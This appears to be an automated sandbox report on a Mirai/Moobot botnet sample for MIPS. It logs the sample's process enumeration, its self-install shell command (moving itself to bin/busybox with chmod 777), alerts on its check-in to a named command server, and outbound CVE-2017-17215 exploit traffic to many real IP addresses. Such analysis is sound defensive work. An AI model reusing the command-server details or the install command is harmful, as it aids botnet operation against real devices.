Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/126/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1344/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1465/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1586/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/127/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/6/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/248/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/128/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/249/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1463/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/800/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/9/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/801/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/20/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/21/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1900/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/22/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/23/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/24/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/25/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/26/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/27/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/28/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/29/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/491/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/250/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/130/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/251/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/252/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/132/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/253/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/254/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/255/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/256/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1599/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/257/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1477/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/379/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/258/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1476/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/259/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1475/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/936/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/30/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/2208/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/35/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1809/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1494/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/260/cmdline

Source: /usr/bin/chmod (PID: 6238)

File: /tmp/bin/busybox (bits: - usr: rwx grp: rwx all: rwx)

Jump to behavior

Source: /tmp/mbl5k2b7z8.elf (PID: 6233)

Shell command executed: sh -c "rm -rf bin/busybox && mkdir bin; >bin/busybox && mv /tmp/mbl5k2b7z8.elf bin/busybox; chmod 777 bin/busybox"

Source: /bin/sh (PID: 6235)

Rm executable: /usr/bin/rm -> rm -rf bin/busybox

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 60670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 33478
Source: unknown	Network traffic detected: HTTP traffic on port 54264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 52512
Source: unknown	Network traffic detected: HTTP traffic on port 56602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 56602
Source: unknown	Network traffic detected: HTTP traffic on port 44448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55072 -> 37215

Source: /tmp/mbl5k2b7z8.elf (PID: 6231)

Queries kernel information via 'uname':

Source: mbl5k2b7z8.elf, 6231.1.0000560f2b174000.0000560f2b1fb000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/mips
Source: mbl5k2b7z8.elf, 6231.1.0000560f2b174000.0000560f2b1fb000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: mbl5k2b7z8.elf, 6231.1.00007ffc335aa000.00007ffc335cb000.rw-.sdmp	Binary or memory string: Rx86_64/usr/bin/qemu-mips/tmp/mbl5k2b7z8.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mbl5k2b7z8.elf
Source: mbl5k2b7z8.elf, 6231.1.00007ffc335aa000.00007ffc335cb000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: mbl5k2b7z8.elf, type: SAMPLE
Source: Yara match	File source: 6231.1.00007f8304400000.00007f8304414000.r-x.sdmp, type: MEMORY

Yara detected Moobot

Source: Yara match	File source: mbl5k2b7z8.elf, type: SAMPLE
Source: Yara match	File source: 6231.1.00007f8304400000.00007f8304414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mbl5k2b7z8.elf PID: 6231, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: mbl5k2b7z8.elf, type: SAMPLE
Source: Yara match	File source: 6231.1.00007f8304400000.00007f8304414000.r-x.sdmp, type: MEMORY

Yara detected Moobot

Source: Yara match	File source: mbl5k2b7z8.elf, type: SAMPLE
Source: Yara match	File source: 6231.1.00007f8304400000.00007f8304414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mbl5k2b7z8.elf PID: 6231, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	Path Interception	Path Interception	2 File and Directory Permissions Modification	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Scripting	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
mbl5k2b7z8.elf	64%	ReversingLabs	Linux.Trojan.Mirai
mbl5k2b7z8.elf	59%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
test.zxyes.xyz	195.133.40.202	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	mbl5k2b7z8.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	mbl5k2b7z8.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
157.155.206.222	unknown	Australia	17983	COLESMYER-AS-APColesMyerAU	false
197.91.42.245	unknown	South Africa	10474	OPTINETZA	false
27.236.72.206	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
41.134.200.128	unknown	South Africa	10474	OPTINETZA	false
197.179.205.76	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.165.32.49	unknown	Egypt	24863	LINKdotNET-ASEG	false
12.198.103.37	unknown	United States	7018	ATT-INTERNET4US	false
150.247.95.86	unknown	United States	2527	SO-NETSo-netEntertainmentCorporationJP	false
41.51.182.15	unknown	South Africa	37168	CELL-CZA	false
157.33.200.173	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
41.72.45.47	unknown	Angola	37155	NETONEAO	false
157.59.194.195	unknown	United States	3598	MICROSOFT-CORP-ASUS	false
197.27.94.108	unknown	Tunisia	37492	ORANGE-TN	false
197.40.144.189	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.120.132.150	unknown	Egypt	36992	ETISALAT-MISREG	false
197.58.18.255	unknown	Egypt	8452	TE-ASTE-ASEG	false
212.97.40.105	unknown	Italy	5602	AS-IRIDEOS-KPIT	false
161.135.249.204	unknown	United States	7726	FITC-ASUS	false
60.52.117.189	unknown	Malaysia	4788	TMNET-AS-APTMNetInternetServiceProviderMY	false
134.105.51.121	unknown	Germany	42873	MPG-FR-SFreiburgStrafrechtDE	false
41.210.203.25	unknown	Angola	37081	movicel-asAO	false
157.117.145.231	unknown	Japan	9605	DOCOMONTTDOCOMOINCJP	false
41.195.197.57	unknown	South Africa	16637	MTNNS-ASZA	false
41.24.86.1	unknown	South Africa	36994	Vodacom-VBZA	false
197.57.40.27	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.252.195.39	unknown	United States	3592	TRINCOLL-ASUS	false
75.180.90.80	unknown	United States	10796	TWC-10796-MIDWESTUS	false
41.190.129.200	unknown	Mauritius	36997	INFOCOM-UG	false
157.168.229.19	unknown	Switzerland	22192	SSHENETUS	false
197.90.198.169	unknown	South Africa	10474	OPTINETZA	false
197.211.114.208	unknown	Malawi	37187	SKYBANDMW	false
169.228.238.170	unknown	United States	7377	UCSDUS	false
157.236.83.1	unknown	United Kingdom	4704	SANNETRakutenMobileIncJP	false
115.38.238.72	unknown	Japan	18126	CTCXChubuTelecommunicationsCompanyIncJP	false
197.231.174.170	unknown	South Africa	37055	EMIDZA	false
41.85.32.176	unknown	South Africa	22355	FROGFOOTZA	false
63.169.198.175	unknown	United States	1239	SPRINTLINKUS	false
41.154.82.108	unknown	South Africa	37079	SMMTZA	false
157.145.56.98	unknown	United States	719	ELISA-ASHelsinkiFinlandEU	false
217.56.211.180	unknown	Italy	3269	ASN-IBSNAZIT	false
157.212.14.231	unknown	United States	4704	SANNETRakutenMobileIncJP	false
41.55.86.167	unknown	South Africa	37168	CELL-CZA	false
197.20.220.125	unknown	Tunisia	37693	TUNISIANATN	false
41.203.88.30	unknown	Nigeria	37148	globacom-asNG	false
41.53.150.198	unknown	South Africa	37168	CELL-CZA	false
197.173.143.35	unknown	South Africa	37168	CELL-CZA	false
197.247.28.16	unknown	Morocco	36925	ASMediMA	false
157.109.178.100	unknown	Japan	37919	SEGASEGAHoldingsCoLtdJP	false
138.251.7.144	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
157.129.41.254	unknown	Finland	41701	CAP-FIN-ASFI	false
197.173.131.66	unknown	South Africa	37168	CELL-CZA	false
157.133.97.49	unknown	United States	133767	SAP_DC_SYDSAPAU	false
197.239.56.166	unknown	Uganda	37075	ZAINUGASUG	false
53.35.84.18	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
197.38.15.101	unknown	Egypt	8452	TE-ASTE-ASEG	false
96.99.206.144	unknown	United States	7922	COMCAST-7922US	false
187.128.208.242	unknown	Mexico	28283	AdylnetTelecomBR	false
70.7.125.183	unknown	United States	10507	SPCSUS	false
197.51.4.216	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.255.96.213	unknown	Ghana	37074	UG-ASGH	false
157.37.189.48	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
197.60.132.87	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.180.144.76	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
41.72.21.40	unknown	Angola	37155	NETONEAO	false
194.72.164.158	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
169.37.67.179	unknown	Switzerland	37611	AfrihostZA	false
41.133.169.251	unknown	South Africa	10474	OPTINETZA	false
41.243.103.151	unknown	Congo The Democratic Republic of The	37684	ANGANI-ASKE	false
41.88.141.232	unknown	Egypt	33771	SAFARICOM-LIMITEDKE	false
157.21.202.207	unknown	United States	53446	EVMSUS	false
157.135.154.175	unknown	United States	600	OARNET-ASUS	false
41.196.1.100	unknown	Egypt	24863	LINKdotNET-ASEG	false
43.26.93.139	unknown	Japan	4249	LILLY-ASUS	false
17.220.123.235	unknown	United States	714	APPLE-ENGINEERINGUS	false
121.18.220.148	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
157.215.239.15	unknown	United States	4704	SANNETRakutenMobileIncJP	false
197.189.59.11	unknown	Congo The Democratic Republic of The	37598	EbaleCD	false
197.143.173.239	unknown	Algeria	36891	ICOSNET-ASDZ	false
90.243.221.86	unknown	United Kingdom	5378	VodafoneGB	false
157.101.64.14	unknown	Japan	2519	VECTANTARTERIANetworksCorporationJP	false
197.223.247.155	unknown	Egypt	37069	MOBINILEG	false
197.131.139.241	unknown	Morocco	6713	IAM-ASMA	false
197.249.217.5	unknown	Mozambique	25139	TVCABO-ASEU	false
47.39.49.244	unknown	United States	20115	CHARTER-20115US	false
41.187.12.178	unknown	Egypt	20928	NOOR-ASEG	false
41.168.23.240	unknown	South Africa	36937	Neotel-ASZA	false
41.235.194.79	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.121.74.199	unknown	Egypt	36992	ETISALAT-MISREG	false
157.253.237.105	unknown	Colombia	3603	UniversitydeLosAndesCO	false
41.39.34.249	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.41.93.128	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.246.44.154	unknown	South Africa	5713	SAIX-NETZA	false
197.21.42.101	unknown	Tunisia	37693	TUNISIANATN	false
34.167.178.222	unknown	United States	2686	ATGS-MMD-ASUS	false
157.98.55.36	unknown	United States	3527	NIH-NETUS	false
32.150.51.8	unknown	United States	2686	ATGS-MMD-ASUS	false
157.28.31.173	unknown	Italy	8968	BT-ITALIAIT	false
41.61.164.249	unknown	South Africa	36943	GridhostZA	false
107.46.141.66	unknown	United States	16567	NETRIX-16567US	false
41.33.29.216	unknown	Egypt	8452	TE-ASTE-ASEG	false

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.442878534201549
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	mbl5k2b7z8.elf
File size:	84780
MD5:	d7f3432247daa3564a2f9f282fd892ca
SHA1:	58ddd0d4593d6362f371acb8877671edb8463d99
SHA256:	686fb10624e0f6001922f5a7da9d6c10671b960e04da8cb6300bd81671d4407d
SHA512:	3a08fec1a6e3e892ff9f4e08cc2d1ed1fbc0c321c84440e82a34cb348e2e20456e1e508bf52c146d485765f46354daa041389a9ea722ec12d0ad5534a19c38e0
SSDEEP:	768:2ty6IP7M/kq0INRhfuN2Eo9tl/de2YIwHKRH0I84EH6UTU77ZDYovZ73x/nL8y89:Rakdn2Eo3ePu5GTgRYo99Be037Wj/
TLSH:	2B83A51E7E228FADF76D823147B74E25A69833C627E1D641E16CD6012E6034E641FFE8
File Content Preview:	.ELF.....................@.`...4..H......4. ...(.............@...@....6`..6`..............@..E@..E@.......+.........dt.Q............................<...'..\...!'.......................<...'..8...!... ....'9... ......................<...'......!........'9.

Static ELF Info

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x115d0	0x0	0x6	AX	16
.fini	PROGBITS	0x4116f0	0x116f0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x411750	0x11750	0x1f10	0x0	0x2	A	16
.ctors	PROGBITS	0x454000	0x14000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x454008	0x14008	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x454014	0x14014	0x44	0x0	0x3	WA	4
.data	PROGBITS	0x454060	0x14060	0x3a0	0x0	0x3	WA	16
.got	PROGBITS	0x454400	0x14400	0x498	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x454898	0x14898	0x1c	0x0	0x10000003	WAp	4
.bss	NOBITS	0x4548c0	0x14898	0x2250	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x9c6	0x14898	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x14898	0x64	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x13660	0x13660	5.5807	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x14000	0x454000	0x454000	0x898	0x2b10	3.8882	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.23195.133.40.20236176569992030490 03/20/23-16:24:46.219802	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	36176	56999	192.168.2.23	195.133.40.202
192.168.2.23163.18.94.24060670372152835222 03/20/23-16:25:01.651288	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60670	37215	192.168.2.23	163.18.94.240
195.133.40.202192.168.2.2356999361762030489 03/20/23-16:25:13.708877	TCP	2030489	ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response	56999	36176	195.133.40.202	192.168.2.23
192.168.2.2334.128.181.6354264372152835222 03/20/23-16:25:15.146221	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54264	37215	192.168.2.23	34.128.181.63
192.168.2.2341.37.71.1833478372152835222 03/20/23-16:25:08.055278	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33478	37215	192.168.2.23	41.37.71.18

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2023 16:24:46.188591003 CET	36176	56999	192.168.2.23	195.133.40.202
Mar 20, 2023 16:24:46.207195044 CET	48657	37215	192.168.2.23	54.134.165.245
Mar 20, 2023 16:24:46.207505941 CET	48657	37215	192.168.2.23	41.254.115.250
Mar 20, 2023 16:24:46.207508087 CET	48657	37215	192.168.2.23	41.170.162.96
Mar 20, 2023 16:24:46.207546949 CET	48657	37215	192.168.2.23	41.166.16.10
Mar 20, 2023 16:24:46.207566023 CET	48657	37215	192.168.2.23	197.107.9.134
Mar 20, 2023 16:24:46.207617044 CET	48657	37215	192.168.2.23	157.32.148.201
Mar 20, 2023 16:24:46.207644939 CET	48657	37215	192.168.2.23	41.178.9.75
Mar 20, 2023 16:24:46.207665920 CET	48657	37215	192.168.2.23	41.34.158.157
Mar 20, 2023 16:24:46.207665920 CET	48657	37215	192.168.2.23	197.106.57.232
Mar 20, 2023 16:24:46.207720041 CET	48657	37215	192.168.2.23	157.232.100.171
Mar 20, 2023 16:24:46.207746983 CET	48657	37215	192.168.2.23	197.203.30.151
Mar 20, 2023 16:24:46.207768917 CET	48657	37215	192.168.2.23	157.156.3.203
Mar 20, 2023 16:24:46.207783937 CET	48657	37215	192.168.2.23	27.233.42.33
Mar 20, 2023 16:24:46.207847118 CET	48657	37215	192.168.2.23	197.101.95.145
Mar 20, 2023 16:24:46.207856894 CET	48657	37215	192.168.2.23	157.242.17.129
Mar 20, 2023 16:24:46.207902908 CET	48657	37215	192.168.2.23	41.36.237.157
Mar 20, 2023 16:24:46.207921028 CET	48657	37215	192.168.2.23	41.250.155.229
Mar 20, 2023 16:24:46.207937956 CET	48657	37215	192.168.2.23	157.49.109.56
Mar 20, 2023 16:24:46.207937956 CET	48657	37215	192.168.2.23	157.44.109.50
Mar 20, 2023 16:24:46.207957983 CET	48657	37215	192.168.2.23	41.166.175.84
Mar 20, 2023 16:24:46.207989931 CET	48657	37215	192.168.2.23	197.197.193.126
Mar 20, 2023 16:24:46.208022118 CET	48657	37215	192.168.2.23	197.107.138.203
Mar 20, 2023 16:24:46.208022118 CET	48657	37215	192.168.2.23	197.146.104.254
Mar 20, 2023 16:24:46.208118916 CET	48657	37215	192.168.2.23	192.249.108.179
Mar 20, 2023 16:24:46.208144903 CET	48657	37215	192.168.2.23	157.245.51.226
Mar 20, 2023 16:24:46.208163977 CET	48657	37215	192.168.2.23	41.83.159.7
Mar 20, 2023 16:24:46.208178997 CET	48657	37215	192.168.2.23	197.8.67.166
Mar 20, 2023 16:24:46.208194971 CET	48657	37215	192.168.2.23	197.184.27.146
Mar 20, 2023 16:24:46.208229065 CET	48657	37215	192.168.2.23	197.199.223.14
Mar 20, 2023 16:24:46.208256006 CET	48657	37215	192.168.2.23	41.39.108.89
Mar 20, 2023 16:24:46.208276987 CET	48657	37215	192.168.2.23	197.71.2.245
Mar 20, 2023 16:24:46.208306074 CET	48657	37215	192.168.2.23	41.107.179.6
Mar 20, 2023 16:24:46.208317041 CET	48657	37215	192.168.2.23	89.178.40.44
Mar 20, 2023 16:24:46.208317041 CET	48657	37215	192.168.2.23	157.155.222.138
Mar 20, 2023 16:24:46.208355904 CET	48657	37215	192.168.2.23	197.100.131.123
Mar 20, 2023 16:24:46.208405018 CET	48657	37215	192.168.2.23	119.74.171.97
Mar 20, 2023 16:24:46.208405972 CET	48657	37215	192.168.2.23	144.113.192.15
Mar 20, 2023 16:24:46.208419085 CET	48657	37215	192.168.2.23	157.65.94.47
Mar 20, 2023 16:24:46.208465099 CET	48657	37215	192.168.2.23	31.109.180.222
Mar 20, 2023 16:24:46.208482981 CET	48657	37215	192.168.2.23	41.244.140.6
Mar 20, 2023 16:24:46.208493948 CET	48657	37215	192.168.2.23	157.216.3.85
Mar 20, 2023 16:24:46.208501101 CET	48657	37215	192.168.2.23	197.62.217.138
Mar 20, 2023 16:24:46.208534956 CET	48657	37215	192.168.2.23	157.169.120.73
Mar 20, 2023 16:24:46.208559990 CET	48657	37215	192.168.2.23	8.81.35.171
Mar 20, 2023 16:24:46.208578110 CET	48657	37215	192.168.2.23	197.160.88.131
Mar 20, 2023 16:24:46.208710909 CET	48657	37215	192.168.2.23	157.242.118.254
Mar 20, 2023 16:24:46.208712101 CET	48657	37215	192.168.2.23	197.199.33.234
Mar 20, 2023 16:24:46.208713055 CET	48657	37215	192.168.2.23	197.79.11.2
Mar 20, 2023 16:24:46.208714962 CET	48657	37215	192.168.2.23	110.17.94.7
Mar 20, 2023 16:24:46.208735943 CET	48657	37215	192.168.2.23	197.174.229.247
Mar 20, 2023 16:24:46.208736897 CET	48657	37215	192.168.2.23	197.193.62.108
Mar 20, 2023 16:24:46.208741903 CET	48657	37215	192.168.2.23	169.249.27.5
Mar 20, 2023 16:24:46.208741903 CET	48657	37215	192.168.2.23	197.42.135.7
Mar 20, 2023 16:24:46.208774090 CET	48657	37215	192.168.2.23	41.156.238.30
Mar 20, 2023 16:24:46.208818913 CET	48657	37215	192.168.2.23	41.72.242.214
Mar 20, 2023 16:24:46.208839893 CET	48657	37215	192.168.2.23	41.59.219.50
Mar 20, 2023 16:24:46.208858967 CET	48657	37215	192.168.2.23	157.29.42.32
Mar 20, 2023 16:24:46.208887100 CET	48657	37215	192.168.2.23	197.205.141.23
Mar 20, 2023 16:24:46.208898067 CET	48657	37215	192.168.2.23	124.247.197.44
Mar 20, 2023 16:24:46.208913088 CET	48657	37215	192.168.2.23	197.41.179.16
Mar 20, 2023 16:24:46.208954096 CET	48657	37215	192.168.2.23	41.58.96.60
Mar 20, 2023 16:24:46.208965063 CET	48657	37215	192.168.2.23	157.172.63.185
Mar 20, 2023 16:24:46.208975077 CET	48657	37215	192.168.2.23	8.151.202.202
Mar 20, 2023 16:24:46.209000111 CET	48657	37215	192.168.2.23	157.58.44.99
Mar 20, 2023 16:24:46.209041119 CET	48657	37215	192.168.2.23	157.136.114.61
Mar 20, 2023 16:24:46.209058046 CET	48657	37215	192.168.2.23	139.246.9.213
Mar 20, 2023 16:24:46.209088087 CET	48657	37215	192.168.2.23	157.36.131.139
Mar 20, 2023 16:24:46.209110022 CET	48657	37215	192.168.2.23	197.179.238.163
Mar 20, 2023 16:24:46.209126949 CET	48657	37215	192.168.2.23	157.171.120.43
Mar 20, 2023 16:24:46.209166050 CET	48657	37215	192.168.2.23	41.16.120.81
Mar 20, 2023 16:24:46.209192038 CET	48657	37215	192.168.2.23	41.45.172.115
Mar 20, 2023 16:24:46.209222078 CET	48657	37215	192.168.2.23	41.200.143.84
Mar 20, 2023 16:24:46.209249020 CET	48657	37215	192.168.2.23	157.114.205.33
Mar 20, 2023 16:24:46.209283113 CET	48657	37215	192.168.2.23	98.207.174.144
Mar 20, 2023 16:24:46.209336042 CET	48657	37215	192.168.2.23	41.171.182.50
Mar 20, 2023 16:24:46.209336042 CET	48657	37215	192.168.2.23	197.20.24.8
Mar 20, 2023 16:24:46.209353924 CET	48657	37215	192.168.2.23	197.139.19.241
Mar 20, 2023 16:24:46.210180044 CET	48657	37215	192.168.2.23	197.95.123.234
Mar 20, 2023 16:24:46.210195065 CET	48657	37215	192.168.2.23	157.69.159.155
Mar 20, 2023 16:24:46.210202932 CET	48657	37215	192.168.2.23	41.92.231.13
Mar 20, 2023 16:24:46.210207939 CET	48657	37215	192.168.2.23	41.183.241.201
Mar 20, 2023 16:24:46.210300922 CET	48657	37215	192.168.2.23	211.57.242.70
Mar 20, 2023 16:24:46.210333109 CET	48657	37215	192.168.2.23	197.241.208.240
Mar 20, 2023 16:24:46.210351944 CET	48657	37215	192.168.2.23	197.165.27.138
Mar 20, 2023 16:24:46.210369110 CET	48657	37215	192.168.2.23	41.134.235.78
Mar 20, 2023 16:24:46.210441113 CET	48657	37215	192.168.2.23	41.6.234.93
Mar 20, 2023 16:24:46.210477114 CET	48657	37215	192.168.2.23	197.87.147.17
Mar 20, 2023 16:24:46.210484028 CET	48657	37215	192.168.2.23	157.6.203.1
